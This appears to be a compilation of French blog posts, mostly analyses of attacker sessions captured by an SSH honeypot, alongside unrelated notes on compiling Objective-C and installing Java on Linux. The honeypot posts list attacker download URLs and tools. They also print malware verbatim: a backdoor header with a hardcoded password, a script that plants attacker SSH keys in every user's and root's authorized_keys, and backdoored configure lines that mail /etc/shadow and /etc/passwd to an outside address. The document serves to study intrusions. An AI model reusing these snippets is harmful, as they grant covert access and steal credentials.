devloop :: blog

Introduction

Analyser les logs de mon honeypot SSH est semble t-il devenu ma nouvelle occupation du dimanche

Je m'amuse souvent à observer les erreurs et l'incompétence de ces visiteurs qui donnent souvent l'impression de taper des commandes sans savoir réellement ce qu'elles font.

Déjà rien qu'au nouveau des mots de passe utilisés pour les attaques brute-force des comptes SSH ça vaut le coup d'œil !
Là où une personne normalement constituée utiliserait les mots de passe les plus fréquents pour gagner du temps et augmenter ses chances de réussite, certains des intrus se bornent à utiliser une liste de mots de passe "from outter space" dont on peut être sur que le nombre d'utilisateurs de ces mots de passe se comptent sur les doigts d'une main à travers la planète !
Résultats : ils passent 2 heures à tenter de casser un compte sans y parvenir alors que le mot de passe du honeypot est 123456, soit le mot de passe connu pour être le plus utilisé dans le monde entier...

Dans cette faune très particulière on trouve aussi ceux qui sentent le besoin de "taguer" leurs visites en ajoutant dans la liste de leurs mots de passe un message avec leur pseudo ou le nom de leur team de script-kiddies...
Le pire c'est de se dire qu'ils ont conscience qu'ils peuvent être surveillés mais semble pourtant tout ignorer de l'existence des honeypots.

Enfin, autre perle rencontrée une fois : l'attaquant a certes une liste de mots de passe valides mais manque de bol (pour être gentil), le fichier n'est pas formaté comme il faut pour le logiciel de brute-force.
Le soft en question est bien-sûr compilé pour Linux mais la pass-list est formatée avec retour charriot à la mode windows, le pseudo hacker ne l'ayant pas converti avec unix2dos... Résultat au lieu d'envoyer le mot de passe 123456 il envoit 123456^V et ainsi de suite pour toute sa liste

Mais passons l'introduction et entrons dans le vif du sujet avec mes dernières visites

Attaque 1

De toute évidence des hackers roumains. Les attaques brute-force SSH sont très en vogue chez eux.
Cassage du mot de passe réussie avec l'adresse IP 202.131.124.10. S'ensuit une connexion directe par l'IP 94.144.63.2.
Le visiteur rappatrie l'archive http://gr4n34.110mb.com/zyz.tgz.
On y trouve un log-cleaner très peu discret, codé par un débutant. L'outil se nomme "LOG/Rest Cleaner by zYztem @ v1".
Espérons qu'il aura appris la programmation avant de sortir la version 2

Il télécharge ensuite l'archive http://gr4n34.110mb.com/fake.tgz contenant un script qui ajouter un user "ftpd". Il récupère aussi un fichier sudoers depuis l'adresse 82.77.140.6/live/sudoers (qui ne répond pas).
L'opération est très peu discrète et peut être catastrophique car il supprime le précédent fichier sudoers pour mettre le sien à la place... Pas mieux pour se faire remarquer.
Après une rapide recherche sur google je détermine que l'IP qui ne fonctionne plus correspond au site underworld.homeunix.org.
Un peu de google dorking de plus et on parvient à obtenir la liste des supers tools (mouarf) présentes sur le site... du code archi-connu détecté par tous les AVs dans le style bot irc tsunami/kaiten, script de flood udp.pl, mirc, psybnc, energymech & co.
Circulez, il n'y a rien à voir !

Attaque 2

Brute force provenant de 115.110.25.58 et suivi dans la foulée d'une cnx directe par 216.166.47.148.
Téléchargement de l'archive http://irc1.at.ua/bot.tgz qui contient un energymech et ses fichiers de conf, l'éditeur de texte pico que les script-kiddies semblent ettement apprécier et un programme mystérieux dénommé "stealth".
Quand on lance un strings sur le binaire on trouve notamment la chaine "This tool is extremely dangerous. Use at your own risk!".
Une recherche sur Google révèle que le programme a déjà été retrouvé sur des serveurs et que niveau discrétion on trouve mieux puisque une fois lancé il arrive rapidement à utilisation de 100% du CPU !
Mais alors que fait ce programme extrêmement dangereux ?
C'est là que ça devient drôle : une fois désassemblé on se rend compte que le proggie se connecte à un serveur et un port pris en argument et envoie en boucle la chaine "0123456789ABCDE"
J'en ai encore mal aux abdos rien que d'y penser

Attaque 3

L'intrus récupère un logcleaner du même acabit que le précédent. On trouve dedans les chaines Dark LogRemover Version 1.0, Coded by Darker et Macedonian Dark Security.
Sans intérêts...

Attaque 4

Connexion directe (le mdp a été cassé précédemment) provenant de l'IP 79.115.143.213 puis récupération de l'archive http://ripkid.altervista.org/smtp.tgz.
On y retrouve le classique syn-scanner détecté par AVG comme Linux/Shark.A, compilé statiquement avec la librairie pcap et strippé.
Ce qui est intéressant ce sont deux scripts perl présents : le fichier start récupère les résultats de scans effectues sur le port 25 et lance en parallèle (jusqu'à 200 processus) un script perl 'process' qui brute force des comptes pop3 (basé sur l'utilisation d'un fichier users.txt contenant des credentials).
Ça nous change un peu du tout SSH et d'après les logs c'est relativement fructueux. Certaines personnes sont peu regardantes sur la sécurité de leurs comptes mails (surtout si le compte est utilisé pour des pubs etc)
Du coup j'ai posté les deux scripts sur paste 2 :
http://paste2.org/p/1886657
http://paste2.org/p/1886658

Attaque 5

Le petit curieux récupère l'archive http://www.grigoreworld.com/marius/bnc.jpg destinée à être extraite dans /dev/shm.
Elle contient un psybnc (binaire nommé -bash) + un fichier crontab pour le lancer régulièrement.
Il contient un script perl nommé "target" qui est un bot IRC (en plus du psybnc) capable de lancer
des attaques DoS très très (mais alors vraiment très) basiques et faire des recherches spécifiques sur google du type
"inurl:modules.php?name=SQuery site:.com" (avec le tld changeant selon une liste prédéfinie).
Il s'agit d'un google dork pour une faille datant... de juillet 2006. M'est avis que sur les sites faillibles il n'y a que le train qui n'est pas passé.
Le script perl est détecté comme PERL/ShellBot par AVG et ClamAV.

Attaque 6

Rien d'intéressant. Téléchargement d'un fichier fox.tgz qui créé un dossier "/usr/share/locale/jp/. /" où se place un energymech que AVG détecte comme Linux/Mech.A + un script pour l'ajouter à la crontab. Bref que du déjà vu.

Attaque 7

Ni plus ni moins que l'attaque 5...
L'archive bo.tgz contient le shellbot.pl qui exploite la faille SQuery avec une url du type /SQuery/lib/gore.php?libpath=
J'ai mis le script sur paste2 pour les curieux.

Attaque 8

On a ici affaire à du top niveau (oui je suis taquin)
Le pirate que j'ai baptisé "jess" a l'adresse IP 46.166.157.164.
A peu près tout son matus est détecté par les antivirus :
Linux/Shark.A : le classique synscanner
Linux/Sshscan.A : l'outil de brute force ssh
sans compter le scanner tcp pscan2 infecté par Trojan.Linux.RST.b (incroyable qu'on trouve encore des binaires infectés par RST après autant d'années).

Le script bash baptisé "scam" est une horreur de programmation. Notons juste qu'il envoi des données vers l'adresse mail mafia89tm@yahoo.com.

Un essaye de récupérer un fichier tgz... seulement l'url n'est pas bonne ou le site fermé ou une autre raison... peu importe.
Ce qui est drôle c'est qu'il ne s'étonne pas de voir wget lui indiquer que le fichier fait 3Ko et est de type text/html... forcément quand il tente d'extraite l'archive avec tar ça ne pas fonctionner...
Il va pourtant taper 4 fois la même commande pour essayer de faire une opération impossible.

C'est tellement bon que j'en ai fait une capture postée sur Vimeo.

Mais Jess n'est pas du genre à abandonner... Il revient donc à la charge... Et il a... UNE AUTRE URL !
Mais manque de bol (décidément) ça ne fonctionne pas plus... Qui plus est il déclenche un petit message que j'ai rajouté à Kippo à l'attention de certains de mes visiteurs.
Du coup, pris de panique il se déconnecte. C'est en vidéo ici

Là on se dit qu'il a compris qu'il est sur un honeypot. Il faudrait vraiment être c** pour ne pas s'en rendre compte.
Pourtant, 4 jours plus tard, sans doute le temps de travailler ses skills en wget, il revient avec l'IP 93.104.129.190 et récupère l'archive csservers.ro/redirecte_linux_v2.0.tar.gz et ça marche \o/
L'archive contient des binaires visiblement codés en C++ qui contiennent les strings suivantes :
wget --quiet -O - http://www.csservers.ro/mod.php?qwerty=%s/%s/%d
wget --quiet -O - http://www.csservers.ro/harta.php?asdfg=%s/%d
wget --quiet -O - http://www.csservers.ro/valoare_update.php
Le site http://www.csservers.ro/ semble destiné au jeu Counter Strike. J'analyserais plus en détail les binaires quand j'aurais le temps ;-)

Je me suis frotté au problème de compiler un simple Hello World en Objective-C (appel à NSLog) sous Linux.
Après quelques recherches et tests, voici comment j'y suis parvenu :

Installation des paquets gobjc, gobjc++, libobjc2 et libojc3.
Installation de gnustep-base-common, gnustep-base-runtine, gnustep-common, gnustep-gui-common, gnustep-gui-runtime et gnustep-make
Installation de libgnustep-base-dev, libgnustep-base1.22, libgnustep-gui-dev et libgnustep-gui0.20

Certains de ces paquets étant dépendants d'autres, l'installation devrait se faire en ne sélectionnant qu'une partie mais je n'ai pas fait le tri.

Lors de la compilation au aura recours au programme gnustep-config avec l'option --objc-flags qui permet d'obtenir la liste de tous les flags (ou presque) à passer à gcc pour compiler en Objective-C.
La commande pour notre Hello World ressemblera à ceci :

gcc -o hello hello.m `gnustep-config --objc-flags` -lgnustep-base -lobjc

Sous Mac OS X, l'opération est plus simple et se fera avec

gcc -o hello hello.m -framework Foundation

Edit :
J'ai aussi rencontré des problèmes avec l'installeur GNUstep pour Windows... On aurait pensé qu'ils auraient fourni un système prêt à l'emploi... Il n'en est rien. En plus des commandes à passer comme sous Linux, il faut aussi spécifier le chemin des librairies :

gcc -o hello hello.m `gnustep-config --objc-flags` -L/GNUstep/System/Library/Libraries/ -lgnustep-base -lobjc

Depuis les changements de licence décidés par Oracle concernant la machine virtuelle Java, les distributions Linux ne peuvent plus proposer de paquets à jour, ce qui est très gênant question compatibilités (du moins d'ici quelques temps) et sécurité !

Du coup je me suis décidé à installer le RPM du JDK (le kit de développement qui contient aussi le JRE) téléchargeable sur le site d'Oracle.
Si l'installation du rpm en elle-même ne pose aucun problème (rpm -Uvh jdk-7u1-linux-x64.rpm), on ne peut pas dire qu'Oracle ait peaufiné le script d'install pour rendre Java prêt à l'emploi... Une fois de plus les Windowsiens ont droit à du point-and-click et les Linuxiens sont délaissés et doivent mettre les mains dans le cambouis !

Ainsi tout les liens présents dans /etc/alternatives qui permettent au système de rediriger les exécutables vers la nouvelle version de Java ne sont pas mis à jour. Un peu comme si sous Windows vous installiez un logiciel mais aucune entrée n'était ajoutée dans la base de registre, aucun raccourci n'était créé sur le bureau ou dans le menu démarrer etc.

J'ai donc décidé de bricoler un petit script de post-installation du RPM qui se charge de créer les liens nécessaires à l'utilisation de Java 7.

Le RPM d'Oracle créé un lien symbolique /usr/java/default qui pointe vers la bonne version de Java. En se basant sur ce chemin pour recréer les liens on peut rapidement faire pointer les binaires dans la bonne direction.

Mon script a été testé sur openSUSE 11.4 (architecture amd64) avec le JDK 64bits aussi. Il y a des commandes spécifiques à openSUSE et à l'architecture 64 bits mais c'est facilement adaptable

Le script est téléchargeable ici.
Avis aux amateurs
Il est aussi sur paste2

Le visiteur a d'abord désactivé l'historisation du terminal puis a téléchargé une archive ssh.tar qui est sensiblement la même que celle du dernier visiteur. Aussi je vous renvoi au précédent article sur le sujet.

On retrouve le fichier backdoor.h avec un contenu différent :

#define BACKDOORPASSWD          "3.9p1"
#define LOGGING_PASSWORDS 1
#define PASSWORDS_LOG_FILE "/etc/ssh/.sshd_auth"
#define PASSWORDS_LOG_FILE2 "/usr/lib/.sshd.h"
int backdoor_active;

Un fichier ppk.so dont l'extension m'a semblé immédiatement suspicieuse et dont le contenu est du texte :

for i in `cat /etc/passwd | cut -d":" -f6 | grep home 2>/dev/null` ; do
mkdir -p $i/.ssh 2>/dev/null
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAIBoyu02vQ6BxJrL2CE6RQk8+XWRpooJs+cJLom/U0sirHiEQB9lIyzDGDv5tA0e1JTNe9L6tszMwWy9IzsRblHUx711v362NGBx9gDjMyvqk/g7r2fn26ohN7Xybd/Bk3aI7oVQJEqGFLPIANZRdCpjcP3TdDhOwYelWNePGK/tYQ== localhost' >> $i/.ssh/authorized_keys
done
mkdir -p /root/.ssh 2>/dev/null
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAIEAo2bGEi2NrVAhVPBtv4wSY0UB1EE/dWw2uGS819tTVY0a4HKKhEdVL7EafaF5boKKiIXRbFqsHBuNl66bCfZvZ8kbZ/I+tuD+whdn8v0oT5QwHRdwPUbmSqECHI4u9s4H5dsSyzPS0417Y42ZDT9SdrnBwh8vQVOUTzlcxYNWvT8= localhost' >> /root/.ssh/authorized_keys

Le fichier "configure" pour compiler le ssh backdooré est bien évidemment lui-même backdooré... Un œil un tant soit peu attentif remarque des lignes rajoutées à environ 4% de ce gros script généré par autoconf...

echo "[Shadow or Master.Passwd]" >>mailstuff 2>/dev/null
echo >>mailstuff 2>/dev/null
cat /etc/shadow >> mailstuff 2>/dev/null
cat /etc/master.passwd >> mailstuff 2>/dev/null
echo >>mailstuff 2>/dev/null
echo "[Passwd]" >>mailstuff 2>/dev/null
echo >>mailstuff 2>/dev/null
cat /etc/passwd >>mailstuff 2>/dev/null
echo >>mailstuff 2>/dev/null
echo "[Parola backdoor si fisiere de sniff]" >>mailstuff 2>/dev/null
echo >>mailstuff 2>/dev/null
cat backdoor.h >>mailstuff 2>/dev/null
echo >>mailstuff 2>/dev/null
echo "[Port SSH]">>mailstuff 2>/dev/null
echo >>mailstuff 2>/dev/null
cat /etc/ssh/sshd_config | grep Port >>mailstuff 2>/dev/null
echo >>mailstuff 2>/dev/null
cat mailstuff | mail -s "`uname -ns`" rootbox77@yahoo.com 2>/dev/null

Ici le pirate qui voudrait utiliser ce kit partagerait bien malgré lui son accès avec rootbox77@yahoo.com.
On trouve ensuite un fichier shs.c qui est une backdoor setuid locale très basique ainsi qu'un binaire baptisé "misc" qui est une simple backdoor avec gestion de terminal qui bind() par défaut sur le port 1230 et accepte une connexion si on lui donne le password "sh2". AVG détecte ce binaire comme Linux/BdSmall.BF. Linux Malware Detect le connait aussi.

Ensuite il a téléchargé une seconde archive, tuxkit.tar, qui est un rootkit qui remplace les binaires à l'instar de SHV5.
Je vous fait cadeau du REAME et du script d'install.

Pour terminer, il a récupéré le binaire ss que l'on retrouve souvent, un syn-scanneur (scanneur de ports furtifs)
En dehors de ça, les commandes qu'il a lancé était sans grand intérêt...

Je continue dans mes analyses de logs de honeypot.
Le dernier intrus à voulu installer un rootkit.

L'article étant un peu long, je l'ai mis en ligne sur mon site sourceforge :

Intrusion du 19 juillet 2011 : Analyse du rootkit SHV5

Bonne lecture.